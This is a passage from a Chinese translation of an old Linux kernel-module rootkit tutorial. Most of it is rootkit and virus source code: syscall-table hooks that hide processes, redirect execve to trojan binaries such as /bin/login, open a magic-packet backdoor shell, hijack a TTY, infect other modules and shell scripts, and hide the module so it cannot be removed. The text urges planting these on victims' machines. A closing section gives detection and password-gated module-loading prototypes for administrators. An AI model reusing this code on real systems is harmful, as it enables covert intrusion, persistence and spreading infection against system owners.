void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_getdents]=orig_getdents;                          
}

这些代码看起来似乎复杂难懂,其实这里你需要了解的是ps或者相似的进程是如何运行的,然后再来看代码…… 象ps之类的命令并不是直接用任何特殊的系统调用来获得当前进程的列表的(也没有系统调用可以完成这项任务) 通过对ps命令的strace,你会发现其实它是从/proc目录里得到进程信息的。在/proc里你可以找到很多目录,它们的名字都是仅仅由数字组成的 (比较奇怪吧;),那些数字就是运行着的进程的PID了,在这些目录里你可以找到与该进程有关的任何信息,所以呢,ps命令其实就是对/proc运行了 ls而已,而进程的相关信息,则是在/proc/PID的目录里放着,好了,现在我们有办法了,ps必须从/proc目录里读东西,所以它要用到 sys_getdents(...),我们只要从PID来找出进程名,然后再把PID和/proc里的比较,如果是我们想藏的东西,就象前面所说的隐藏目 录一样,把它给封杀掉,上面程序中的两个task的函数及invisible函数仅是用来获得在/proc里找到PID的名字的,至于文件隐藏,不用我多 说了罢。
Runar Jensen使用了一种更复杂的技术,虽然他同样是隐藏/proc里的PID,但在检查是否要隐藏时有少许不同。他在任务结构(task structure)中使用了标记域(flags field),这个unsigned的long值通常是下面的常量:

  • PF_PTRACED : 正在观察当前进程
  • PF_TRACESYS : " " " "
  • PF_STARTING : 准备开始进程
  • PF_EXITING : 准备结束进程
然后Runar Jensen加入了他自己的常量(PF_INVISIBLE)来表示准备隐藏的进程,然后你只需检查任务标记域就可以了,因为 sys_getdents(...)无法解析它的名字……这种方法听起来比上面的办法简单,但实际上我们要隐藏它的时候还要截获 sys_kill(...)……它的流程是这样的,开始你要隐藏的进程,运行ps获得PID,运行 kill -code PID,其中-code中的code必须是不为系统所用的号,Runar Jensen用的是32,模块截断sys_kill(...) 并检查32这个数字,如果是,就将任务标记域内的该的进程交给sys_kill(...),于是任务标记域就被编辑过了…… 够复杂吧……

5.2 如何重定向可执行文件

在某些情况下,我们可能会想对某些可执行文件进行重定向,这些文件可能是/bin/login或者tcpd等等—— 你不会问我重定向它们有什么用吧;)——这样你就可以自由地在系统里装进大把的木马而不怕有checksum的问题了(因为我们根本就没有替换到它们)。好吧,重复劳动,我们再来找相关的系统调用吧,就是sys_execve(...) 了,我们看看plaguez是怎么做的 :

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];

/*因为后面的syscall宏要用到,所以必需defined */
int errno;

/*define我们自己的systemcall*/
int __NR_myexecve;

/*需要用到brk*/
static inline _syscall1(int, brk, void *, end_data_segment);

int (*orig_execve) (const char *, const char *[], const char *[]);

/*here plaguez&#39;s user -> kernel space transition specialized for strings
is better than memcpy_fromfs(...)*/
char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;

do {
  dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != &#39;\0&#39;) && (compt != n));
return dest;
}


/*this is something like a systemcall macro called with SYS_execve, the
asm code calls int 0x80 with the registers set in a way needed for our own
__NR_myexecve systemcall*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
   long __res;
   __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long)
              (filename)), "c"((long) (argv)),               "d"((long) (envp)));
   return (int) __res;
}


int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
char *test;
int ret, tmp;
char *truc = "/bin/ls";      /*the file we *should* be executed*/
char *nouveau = "/bin/ps";    /*the new file which *will* be executed*/
unsigned long mmm;

test = (char *) kmalloc(strlen(truc) + 2, GFP_KERNEL);
/*get file which a user wants to execute*/
(void) strncpy_fromfs(test, filename, strlen(truc));
test[strlen(truc)] = &#39;\0&#39;;
/*do we have our truc file ?*/
if (!strcmp(test, truc))
{
  kfree(test);
  mmm = current->mm->brk;
  ret = brk((void *) (mmm + 256));
  if (ret < 0)
  return ret;
  /*set new program name (the program we want to execute instead of /bin/ls or
  whatever)*/
  memcpy_tofs((void *) (mmm + 2), nouveau, strlen(nouveau) + 1);
  /*execute it with the *same* arguments / environment*/
  ret = my_execve((char *) (mmm + 2), argv, envp);
  tmp = brk((void *) mmm);
} else {
  kfree(test);
  /*no the program was not /bin/ls so execute it the normal way*/
  ret = my_execve(filename, argv, envp);
}
return ret;
}

int init_module(void)           /*加载*/
{
/*下面的代码是选择我们要执行的myexeve的systemcall号*/
__NR_myexecve = 200;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;

orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
  sys_call_table[__NR_myexecve] = orig_execve;
  sys_call_table[SYS_execve] = (void *) hacked_execve;
}
return 0;
}

void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_execve]=orig_execve;                          
}

当你加载了这个模块后,所有运行/bin/ls的都会跑到/bin/ps去,下面是一些对重定向的想法 :

  • 将/bin/login重定向为假的,某种验证后提供rootshell
  • tcpd也是一个很好的对象,可以提供rootshell或者过滤记录……(可以查看CERT关于tcpd trojan的建议)
  • inetd,提供rootshell
  • httpd, sendmail, ... 以及所有你可以想象的服务器端,都可以被利用,也是通过密码验证
  • 可以对一些工具如tripwire, L6进行重定向
  • 其它的系统安全工具也类似
还有无数种方法可以弄成相当有趣的木马——好好开动脑筋吧。

6. 网络(socket)相关操作

网络是黑客的乐园,好吧,那我们就来看看在乐园里能够有什么新奇事物吧。

6.1 如何控制socket的操作

通过控制socket的操作可以做很多事,plaguez提供了一个很好的后门,他仅仅是截断了sys_socketcall系统调用,然后等待特定长度及特定内容的包,我们来看一看他hacked systemcall吧——这里我只给出了部份代码,因为其它部分和一般的LKM没什么两样。

int hacked_socketcall(int call, unsigned long *args)
{
int ret, ret2, compt;

/*我们所要的定长的包*/
int MAGICSIZE=42;

/*我们定义的特定的内容*/
char *t = "packet_contents";
unsigned long *sargs = args;
unsigned long a0, a1, mmm;
void *buf;

/*调用*/
ret = (*o_socketcall) (call, args);

/*是否是这个长度的包被接收到*/
  if (ret == MAGICSIZE && call == SYS_RECVFROM)
  {
  /*work on arguments*/
  a0 = get_user(sargs);
  a1 = get_user(sargs + 1);
  buf = kmalloc(ret, GFP_KERNEL);
  memcpy_fromfs(buf, (void *) a1, ret);
  for (compt = 0; compt < ret; compt++)
   if (((char *) (buf))[compt] == 0)
    ((char *) (buf))[compt] = 1;
   /*是否具有我们定义的内容*/
   if (strstr(buf, mtroj))
   {
    kfree(buf);
    ret2 = fork();
   if (ret2 == 0)
   {
    /*如果是的话,就执行一个shell或者做你想做的任何事*/
    mmm = current->mm->brk;
    ret2 = brk((void *) (mmm + 256));
    memcpy_tofs((void *) mmm + 2, (void *) t, strlen(t) + 1);

    /*通过我们的my_execve(...)执行backdoor程序,参见4.2*/
    ret2 = my_execve((char *) mmm + 2, NULL, NULL);
   }
  }
  }
return ret;
}

这段代码截取所有的sys_socketcall,在这个hacked sysemcall中,它首先执行了正常的系统调用,然后然后检查返回值及调用的变量,如果收到的socketcall肯有我们定义好的大小,再检查是否有我们定义的内容,如果是的话,那么backdoor程序就开始运行,通过my_execve(...)执行……。
但 是这种方法需要在某个端口有提供服务,因为必须通过establish的连接才能够接收包,这有些问题,因为一个偏执狂的系统管理员会因此怀疑系统中装有 后门,测试这些后门LKM的办法是先在你自己的机器上玩,察看系统会出现什么变化,找出你觉得最好玩的想放后门的sys_socketcall,然后扔到 某台你已经拥有的倒霉蛋的机器上……

7. TTY Hijacking的方法

TTY hijacking在很早以前就被人们所使用了,它是相当有趣的。我们可以通过指定某个TTY的major及minor值,来获取在它上面的所有输入。在 phrack第50期halflife有一个很好的LKM就是做这事情的。下面的代码是从他的程序中抽取出来的,它可以给所有的初学者显示最基本的TTY hijacking技巧,但这里的代码并不够完整,因为它并没有将TTY的输入记录下来,因此并不实用,仅是示范而已,让我们开始吧:

#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <asm/io.h>
#include <sys/sysmacros.h>


int errno;

/*我们想要hijack的TTY*/
int tty_minor = 2;
int tty_major = 4;

extern void* sys_call_table[];

/*需要write systemcall*/
static inline _syscall3(int, write, int, fd, char *, buf, size_t, count);

void *original_write;

/* 看看是不是我们要监听的TTY */
int is_fd_tty(int fd)
{
struct file *f=NULL;
struct inode *inode=NULL;
int mymajor=0;
int myminor=0;

if(fd >= NR_OPEN || !(f=current->files->fd[fd]) || !(inode=f->f_inode))
  return 0;
mymajor = major(inode->i_rdev);
myminor = minor(inode->i_rdev);
if(mymajor != tty_major) return 0;
if(myminor != tty_minor) return 0;
  return 1;
}

/* this is the new write(2) replacement call */
extern int new_write(int fd, char *buf, size_t count)
{
int r;
char *kernel_buf;

if(is_fd_tty(fd))
{
  kernel_buf = (char*) kmalloc(count+1, GFP_KERNEL);  
  memcpy_fromfs(kernel_buf, buf, count);

  /*在这里你可以将buf输出到任何地方,你可以从附录里看到完整的
   tty hijacking代码,所以这里没有实现记录的功能 */

  kfree(kernel_buf);
}
sys_call_table[SYS_write] = original_write;
r = write(fd, buf, count);
sys_call_table[SYS_write] = new_write;
if(r == -1) return -errno;
  else return r;
}

int init_module(void)            
{
/*这里需要理解*/
original_write = sys_call_table[SYS_write];
sys_call_table[SYS_write] = new_write;
return 0;
}


void cleanup_module(void)
{
/*没有hijacking*/
sys_call_table[SYS_write] = original_write;
}

这一想法是截获sys_write,在检查TTY的fd后判断我们想要监听的TTY,并将sys_write的东西写到log里——使用缓冲区。
我建议你的log必须是隐藏的——通过LKM,并且用某些IPC来控制。

8. 用LKMs来编写病毒

现在我们暂时离开hacking的世界,来病毒编写这个领域看看吧——这里谈及的话题对黑客同样是有帮助的,看下去吧。这里我会集中讨论由Stealthf0rk/SVAT编制的LKM infector,在附录A你可以看到完整的源代码,这里仅仅讲一讲里面用到的关键技术以及函数,这一LKM需要在linux上(在2.0.33 上测试),以及kerneld……
这个LKM感染者并不影响普通的exf可执行文件——或者也可以,我会在后面讲述,它只影响模块——在载入或者卸载时。该加载及卸载的过程是由kerneld控制的,所以如果系统里载入了一个LKM病毒的话,它可以中断你的sys_create_module 以及sys_delete_module这两个系统调用来增强影响,当一个模块要卸载时,它调用的是新的被感染过的sys_delete_module 系统调用,所以所用依赖kerneld的模块在卸载时都将被影响到……
你可以考虑下面的情况:
  • 系统管理员在寻找一个网卡或者什么东西的驱动程序
  • 开始到网络上翻呀翻
  • 找到了一个driver模块——能够在他的系统运行的,就下载了
  • 安装了这个模块——但结果这个模块被感染过,
    --> 于是infector被安装了,这个系统变得不那么安全了
当然,他下载的并非源代码,或许比较懒所以就冒点用二进制文件的风险了……这也可以警告系统管理员,不要信任任何二进制文件,包括模块。好吧,你已经了解了这个infector能够干什么了,让我们再靠近些研究一下它吧。

如果你要写这么一个模块的话,简单地中断sys_create_module及sys_delete_module及某些其它调用(当需要实现更多功能时—),第一个问题是,我们如何传染现有的模块?让我们做个实验吧:

# cat module1.o >> module2.o

这么做之后,让我们试试insmod modules2.o看能不能成功——它已经包括了module.o了!
# insmod module2.o

很好,成功加载了,现在检查一下系统里面的模块吧……
# lsmod
Module      Pages   Used by
module2      1  0

现在我们知道了,如果我们简单连接两个模块的话,第一个会被加载,但第二个将被忽略,并且它不会在insmod的时候报告错误。
那么我们是不是可以:
cat host_module.o >> virus_module.o
ren virus_module.o host_module.o

这样我们加载host_module.o时实际加载的就是病毒了。但这里有一个问题,就是如何加载上实际的host_module? 对系统管理员或者用户来说,如果有一个device不动了,想必会大为诧异吧。这里我们就需要kerneld的帮助了。在I.7 里我提到过你可以利用kerneld来加载模块——只要用request_module("module_name)就可以了,但我们到哪里去找原来的 host_module.o呢?它还在host_module.o——实际上是virus_module.o里,所以在编译完 virus_module.c后我们要看看目标文件的大小,这样你就可以知道host_module.o在二合一的家伙里的位置了。一系列工作做完后,你 的 virus_module中就可以提取出原来的host_module.o了,你可以将这个提取出来的文件放在某处,到时候通过 request_module("orig_host_module.o")来加载,当把正常的host_module.o也加载后,应该说你的感染工作 已经做得比较成功了……
Stealthf0rk (SVAT)使用了sys_delete_module(...)系统调用来进行感染,现在让我们来看看他的代码吧 :

/*just the hacked systemcall*/
int new_delete_module(char *modname)
{
/*感染的模块的数量*/
static int infected = 0;
int retval = 0, i = 0;
char *s = NULL, *name = NULL;

/*呼回原来的sys_delete_module*/     
retval = old_delete_module(modname);

  if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
  return retval;

/*检查感染的文件 -> 这是由hacked sys_create_module实现的; 仅仅是
这个LKM infector的一个特性而已*/
for (i = 0; files2infect[0] && i < 7; i++)
{
  strcat(files2infect, ".o");
  if ((s  = get_mod_name(files2infect)) == NULL)
  {
  return retval;
  }
  name = strcpy(name, s);
  if (!is_infected(name))
  {
  /*仅仅是一个包装printk(...)的宏*/
  DPRINTK("try 2 infect %s as #%d\n", name, i);
  /*计数器(被感染者)增加*/
  infected++;
  /*感染的函数*/
  infectfile(name);
  }
  memset(files2infect, 0, 60 + 2);
} /* for */
/* 够了…… */
/*有多少模块被感染,如果到了一定数目,就停止*/
if (infected >= ENOUGH)
  cleanup_module();
vfree(name);
return retval;
}

这里面仅有一个系统调用是相当有趣的,它是infectfile(...),让我们来看看它吧:
int infectfile(char *filename)
{
char *tmp = "/tmp/t000";
int in = 0, out = 0;
struct file *file1, *file2;

/*don't get confused, this is a macro define by the virus. It does the
kernel space -> user space handling for systemcall arguments(see I.4)*/
BEGIN_KMEM
/*打开准备卸载的模块目标文件*/
in = open(filename, O_RDONLY, 0640);
/*建立临时文件*/
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
/*参见BEGIN_KMEM*/
END_KMEM

DPRINTK("in infectfile: in = %d out = %d\n", in, out);
if (in <= 0 || out <= 0)
  return -1;
file1 = current->files->fd[in];
file2 = current->files->fd[out];
if (!file1 || !file2)
  return -1;
/*复制模块的objectcode到file2*/
cp(file1, file2);
BEGIN_KMEM
file1->f_pos = 0;
file2->f_pos = 0;
/*从 mem 里写virecode */
DPRINTK("in infetcfile: filenanme = %s\n", filename);
file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
cp(file2, file1);
close(in);
close(out);
unlink(tmp);
END_KMEM
return 0;
}

 这个infection函数应该是相当清楚的了。
还剩一件应该讨论的事了:如何让这个infected模块开始?并且加载原来正常的模块?我们知道原理,但还没有实践。

/* Is that simple: we disinfect the module [hide 'n seek] 
 * and send a request to kerneld to load 
 * the orig mod. N0 fuckin' parsing for symbols and headers 
 * is needed - cool. */ 
int load_real_mod(char *path_name, char *name)
{   
int r = 0, i = 0;   
struct file *file1, *file2;
int in =  0, out = 0;

DPRINTK("in load_real_mod name = %s\n", path_name);
if (VirCode)
  vfree(VirCode);
VirCode = vmalloc(MODLEN);
if (!VirCode)
  return -1;
BEGIN_KMEM
/*open the module just loaded (->the one which is already infected)*/
in = open(path_name, O_RDONLY, 0640);
END_KMEM
if (in <= 0)
  return -1;
file1 = current->files->fd[in];
if (!file1)
  return -1;
/* 读Vircode [到 mem] */
BEGIN_KMEM
file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
close(in);
END_KMEM
/*将病毒及正常的模块分开*/
disinfect(path_name);
/*通过kerneld加载正常模块*/
r = request_module(name);
DPRINTK("in load_real_mod: request_module = %d\n", r);
return 0;
}   

现在你应该很清楚为什么LKM infector需要kerneld了吧,我们需要它,通过request_module(...)来加载最初的模块。下面一小节我们将对这一基础进一步扩展。

8.1 LKM病毒是如何感染文件的

由于时间的缘故,这里我没有给出一个很好的例子来验证这个想法——可能后续版本会实现吧。正如你在II.4.2 看到的,我们可以通过sys_execve(...)调用来捕获一个可执行文件,现在考虑一下一个hacked系统调用,将某些数据加在这个将要执行的程 序后面,下次这个程序要开始前,首先执行的是我们加上的部分然后才是正常的程序。这是现在的linux/unix病毒所做的,那么为什么我们不能用 lkms来感染这些elf程序,而不仅仅是感染模块呢?如果检查到uid为0时,就加载我们的感染模块……明白我的意思么?
必须承认,要更改elf程序需要更多的技巧,但是现在已经有一些这种病毒了,你可以查找一下已有的linux病毒来确定它们使用的技术。
首先你要通过sys_execve(...)来检查将要执行的程序的类型,最容易的办法是读取文件头的某些字节然后检查里面是否有ELF的字符串存在,然后你可以用write(...) / read(...) / ... 等调用来编辑 这个文件,仔细读LKM infector来看这是如何实现的。
当然现在这只停留在理论上,而没有经过任何实证,呵,所以这里我提供了一个简单的LKM script 感染者,它仅仅感染某几个命令,并不做其它破坏,没有病毒的"破坏"特性;)

这只是用来验证LKMs也能感染可执行文件——甚至java也可能被感染,好吧,看看这个script infector的代码吧。

#define __KERNEL__
#define MODULE

/*taken from the original LKM infector; it makes the whole LKM a lot easier*/
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
#define END_KMEM  set_fs(old_fs);}

#include <linux/version.h>
#include <linux/mm.h>
#include <linux/unistd.h>
#include <linux/fs.h>
#include <linux/types.h>
#include <asm/errno.h>
#include <asm/string.h>
#include <linux/fcntl.h>
#include <sys/syscall.h>
#include <linux/module.h>
#include <linux/malloc.h>
#include <linux/kernel.h>
#include <linux/kerneld.h>

int __NR_myexecve;

extern void *sys_call_table[];

int (*orig_execve) (const char *, const char *[], const char *[]);

int (*open)(char *, int, int);
int (*write)(unsigned int, char*, unsigned int);
int (*read)(unsigned int, char*, unsigned int);
int (*close)(int);


/*参见II.4.2 的解释*/
int my_execve(const char *filename, const char *argv[], const char *envp[])
{
   long __res;
   __asm__ volatile ("int $0x80":"=a" (__res):"0"(__NR_myexecve), "b"((long) (filename)), "c"((long) (argv)), "d"((long) (envp)));
   return (int) __res;
}

/*感染syscall及感染程序*/
int hacked_execve(const char *filename, const char *argv[], const char *envp[])
{
char *test, j;
int ret;
int host = 0;

/*一个buffer用来读文件——需要验证是否是可执行文件*/
test = (char *) kmalloc(21, GFP_KERNEL);

/*打开host脚本——一会要被执行的*/
host=open(filename, O_RDWR|O_APPEND, 0640);

BEGIN_KMEM

/*读前20个字节*/
read(host, test, 20);  

/*如果是个普通的shell脚本,编辑它*/
if (strstr(test, "#!/bin/sh")!=NULL)
{
  /*小小的用于debug的信息*/
  printk("<1>INFECT !\n");
  /*我们还是很友好的,没有做什么破坏;)*/
  write(host, "touch /tmp/WELCOME", strlen("touch /tmp/WELCOME"));
}
END_KMEM
/*更改结束,可以关掉host了*/
close(host);
/*清空allocated memory*/
kfree(test);
/*执行文件 (带有我们的更改的可执行文件……*/
ret = my_execve(filename, argv, envp);
return ret;
}


int init_module(void)           /*加载*/
{
__NR_myexecve = 250;
while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;
orig_execve = sys_call_table[SYS_execve];
if (__NR_myexecve != 0)
{
  printk("<1>everything OK\n");
  sys_call_table[__NR_myexecve] = orig_execve;
  sys_call_table[SYS_execve] = (void *) hacked_execve;
}

/*这里需要一些functions*/
open = sys_call_table[__NR_open];
close = sys_call_table[__NR_close];   
write = sys_call_table[__NR_write];
read = sys_call_table[__NR_read];
return 0;
}

void cleanup_module(void)        /*卸载*/
{
sys_call_table[SYS_execve]=orig_execve;                          
}

这并不难,所以我不想在上面浪费口舌了,当然,这一模块并不需要kerneld——这是它有趣的一点。
我希望你现在已经掌握了感染可执行文件的方法了,这种方法要破坏一个大的系统是相当容易的。

8.2 我们如何利用LKM病毒

大多数的写病毒的人们并非黑客,那么黑客该如何利用病毒呢……这是很有趣的,考虑一下吧,现在你是系统的拥有者,系统中已经有了你的有感染力的LKM了……
如果你有足够的创意的话,或许你可以让弄个本地溢出……然后加载LKM……甚至远程溢出……发挥吧……

9. 使我们的LKM更隐蔽并且无法移除

现在我们开始一个新的,有趣而且重要的讨论吧(这里要提及的技巧 plaguez在他的LKM里已经实现了,并且solar designer 曾经就此做过一番讨论)。
虽然我们上面将文件、进程、目录以及所有我们想要隐藏的东西都收好了,但我们仍然留下了LKM自身,也就是说如果系统管 理员访问/proc/modules,他仍然能看到我们的LKM。有很多方法可以让它躲起来,首先就是用隐藏部份文件的办法(参见II.4.3)。将 /proc/modules里的LKM名字部份过滤掉,但这还是不过简单,更简单的办法是,截获sys_query_module(...)系统调用,你 可以在附录A-b里看到相关事例。

我在文章的最初曾经提到过,当一个模块加载时,是通过init_module(...)调用来实现的,其中有一 个结构 mod_routines *routines,该结构中包含了关于该LKM的重要信息,因此我们可以巧妙地更改结构中的数据,使它显示我们的模块是没有名称和任何资料的,这样系统 就不会把我们的LKM显示在/proc/modules中了——因为它会忽略那些没有名称及资料的LKMS,下面的代码显示了如何隐藏用这种方法修改 mod_routines来达到隐藏模块的目的:

/*from Phrack & AFHRM*/
int init_module()
{
  register struct module *mp asm("%ebp");  // 或者任何它所在的register
  *(char*)mp->name=0;
  mp->size=0;
  mp->ref=0;
...

这么处理之后不但该LKM看不见,而且也无法删除了,一旦你想删掉它,系统会提示你,没有这个LKM!因为系统现在不认得我们了;)
你得用下面的方法来编译该模块:

#gcc -c -O3 -fomit-frame-pointer module.c

fomit-frame-pointer 告诉编译器不要将frame pointer保存在register中,这可以保持我们的register是 "干净的",然后我们可以进入要修改的structure了……
我认为这是最重要的欺骗技巧,因为我们开发隐藏且无法删除了LKMs就靠它了。

10.利用核心守护进程的其它方法

在II.8 里我们看到了利用kerneld的方法——可以帮助我们来传播LKM感染者……同样,它也可以帮助我们来实现后门, hacking是一种使用头脑的艺术,还是老话,发挥你的创造力……

11.如何检查LKM是否在运行

我们已经学习了很多可以破坏系统的LKM的方法,现在我们 想象你写了一个很好的后门工具,并且在目标机器上安装了,比如pingd\www remote shell或者简单的shell……我们以为它已经很好地在LKM的保护下运行了,但是如何才能确定?如果没有LKM没有被加载的话,会发生什么?——系 统管理员能看到发生的一切,你的所有文件、进程,你在查看log,收发mail等等都在管理员的监视之下,这当然不好,我们必须能够得到LKM的运行状 态。
我想下面的方法能够解决这个麻烦吧……
  • 在你的模块里加进一个特殊的系统调用
  • 写一个小程序,直接可以检查那些系统调用

这里是我检查systemcall的一个小模块。

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

#define SYS_CHECK 200

extern void* sys_call_table[];


int sys_check()
{
return 666;   
}

int init_module(void)           /*加载*/
{
sys_call_table[SYS_CHECK]=sys_check;
return 0;
}

void cleanup_module(void)        /*卸载*/
{}

或者你可以通过下面这个小程序来实现:
#include <linux/errno.h>
#include <sys/syscall.h>
#include <errno.h>

extern void *sys_call_table[];

int check()
{  
__asm__("movl $200,%eax
      int $0x80");
}

main()
{
int ret;
ret = check();
if (ret!=666)
  printf("Our module is *not* present !!\n");
else
  printf("Our module is present, continue...\n");
}

我想这很容易,不是么?试试吧……

III. 解决办法(给网络管理员)

1. LKM检测理论

我想现在该到帮助我们的系统管理员来保护他们的系统的时候了。在解释一些理论以前,为了使你的系统变的安全,请记住如下的基本原则 :
  • 绝对不要安装你没有源代码的LKMs。(当然,这对于普通的可执行文件也适用)
  • 如果你有了源代码,要仔细检查他们(如果你能够的话)。还记得tcpd木马问题吗?大的软件包很复杂,因此很难看懂。但是如果你需要一个安全的系统,你必须分析源代码。
甚至你已经遵守了这些原则,你的系统还是有可能被别人闯入并放置LKM(比如说溢出等等)。
因此,可以考虑用一个LKM记录每一个模块的加载,并且拒绝任何一个不是从指定安全安全目录的模块的加载企图。(为了防止简单的溢出。不存在完美 的方法...)。记录功能可以通过拦截create_module(...)来很轻易的实现。用同样的方法你也可以检查模块加载的目录。
当然拒绝任何的模块的加载也是有可能的。但是这是一个很坏的方法。因为你确实需要他们。因此我们可以考虑改变模块的加载方式,比如说要一个密码。密码可以在你控制的create-module(...)里面检查。如果密码正确,模块就会被加载,否则,模块被丢弃。
要注意的是你必须掩藏你的模块并使他不可以被卸栽。因此,让我们来看看一些记录LKM和密码保护的实现的原型。(通过保护的create_module(...)系统调用)。

1.1 一个可用的检测器的原形

对于这个简单的例子,没有什么可以说的。只不过是拦截了sys_create_module(...)并且记录下了加载的模块的名字。

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void* sys_call_table[];


int (*orig_create_module)(char*, unsigned long);


int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;

kernel_name = (char*) kmalloc(256, GFP_KERNEL);
memcpy_fromfs(kernel_name, name, 255);

/*这里我们向syslog记录,但是你可以记录到任何你想要的地方*/
printk("<1> SYS_CREATE_MODULE : %s\n", kernel_name);

ret=orig_create_module(name, size);
return ret;
}


int init_module(void)           /*初始化模块*/
{
orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;
return 0;
}

void cleanup_module(void)        /*卸载模块*/
{
sys_call_table[SYS_create_module]=orig_create_module;                }

 这就是所有你需要的。当然,你必须加一些代码来隐藏这个模块,这个应该没有问题。在使得这个模块不可以被卸载以后,一个hacker只可以改变记录文件 了。但是你也可以把你的记录文件存到一个不可被接触的文件中去(看2.1来获得相关的技巧).当然,你也可以拦截 sys_init_module(...)来显示每一个模块。这不过是一个品位问题。

1.2 一个密码保护的create_module(...)的例子

这一节我们会讨论如何给一个模块的加载加入密码校验。我们需要两件事情来完成这项任务 :
  • 一个检查模块加载的方法(容易)
  • 一个校验的方法(相当的难)

第一点是十分容易实现的。只需要拦截sys_create_module(...),然后检查一些变量,内核就会知道这次加 载是否合法了。但是如何进行校验呢?我必须承认我没有花多少时间在这个问题上。因此这个方案并不是太好。但是这是一篇LKM的文章,因此,使用你的头脑去 想一些更好的办法。我的方法是,拦截stat(...)系统调用。当你敲任何命令时,系统需要搜索他,stat就会被调用. 因此,在敲命令的同时敲一个密码,LKM会在拦截下的stat系统调用中检查他.[我知道这很不安全;甚至一个Linux starter都可以击败这种机制.但是(再一次的)这并不是这里的重点....].看看我的实现(我从plaguez的一个类似的LKM中直接抢过来了 很多现存的代码....)

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>
#include <sys/stat.h>


extern void* sys_call_table[];

/*如果lock_mod=1 就是允许加载一个模块*/
int lock_mod=0;

int __NR_myexecve;

/*拦截create_module(...)和stat(...)系统调用*/
int (*orig_create_module)(char*, unsigned long);
int (*orig_stat) (const char *, struct old_stat*);

char *strncpy_fromfs(char *dest, const char *src, int n)
{
char *tmp = src;
int compt = 0;

do {
  dest[compt++] = __get_user(tmp++, 1);
}
while ((dest[compt - 1] != &#39;\0&#39;) && (compt != n));

return dest;
}

int hacked_stat(const char *filename, struct old_stat *buf)
{
char *name;
int ret;
char *password = "password"; /*yeah, a great password*/

name   = (char *) kmalloc(255, GFP_KERNEL);

(void) strncpy_fromfs(name, filename, 255);

/*有密码么?*/
if (strstr(name, password)!=NULL)
{
  /*一次仅允许加载一个模块*/
  lock_mod=1;
  kfree(name);
  return 0;
}
else
{
  kfree(name);
  ret = orig_stat(filename, buf);
}
return ret;
}

int hacked_create_module(char *name, unsigned long size)
{
char *kernel_name;
char hide[]="ourtool";
int ret;

if (lock_mod==1)
{
  lock_mod=0;
  ret=orig_create_module(name, size);
  return ret;
}
else
{
  printk("<1>MOD-POL : Permission denied !\n");
  return 0;
}
return ret;
}


int init_module(void)           /*初始化模块*/
{
__NR_myexecve = 200;

while (__NR_myexecve != 0 && sys_call_table[__NR_myexecve] != 0)
  __NR_myexecve--;

sys_call_table[__NR_myexecve]=sys_call_table[SYS_execve];                          

orig_stat=sys_call_table[SYS_prev_stat];
sys_call_table[SYS_prev_stat]=hacked_stat;

orig_create_module=sys_call_table[SYS_create_module];
sys_call_table[SYS_create_module]=hacked_create_module;

printk("<1>MOD-POL LOADED...\n");
return 0;
}

void cleanup_module(void)        /*卸载模块*/
{
sys_call_table[SYS_prev_stat]=orig_stat;                          
sys_call_table[SYS_create_module]=orig_create_module;                          
}

代码本身很清楚.下面将会告诉你如何才能让你的LKM更安全,也许这有一些多疑了 :)

  • 使用另外一种检验方式(使用你自己的用户模式接口,使用你自己的系统调用;使用用户的ID(而不仅仅是普通的密码);也许你有一个生物监测设备->读一些文档并且在linux下编写自己的设备驱动,然后使用他 :) ...)但是,要记住:哪怕是最安全的硬件保护(软件狗,生物监测系统,一些硬件卡)也常常脆弱的不安全的软件而被击败.你可以使用一种这样的机制来让你的系统变得安全:用一块硬件卡来控制你的整个内核.
  • 另外一种不这么极端的方法可以是写你自己的系统调用来负责校验.(见2.11,那里有一个创建一个你自己的系统调用的例子)。
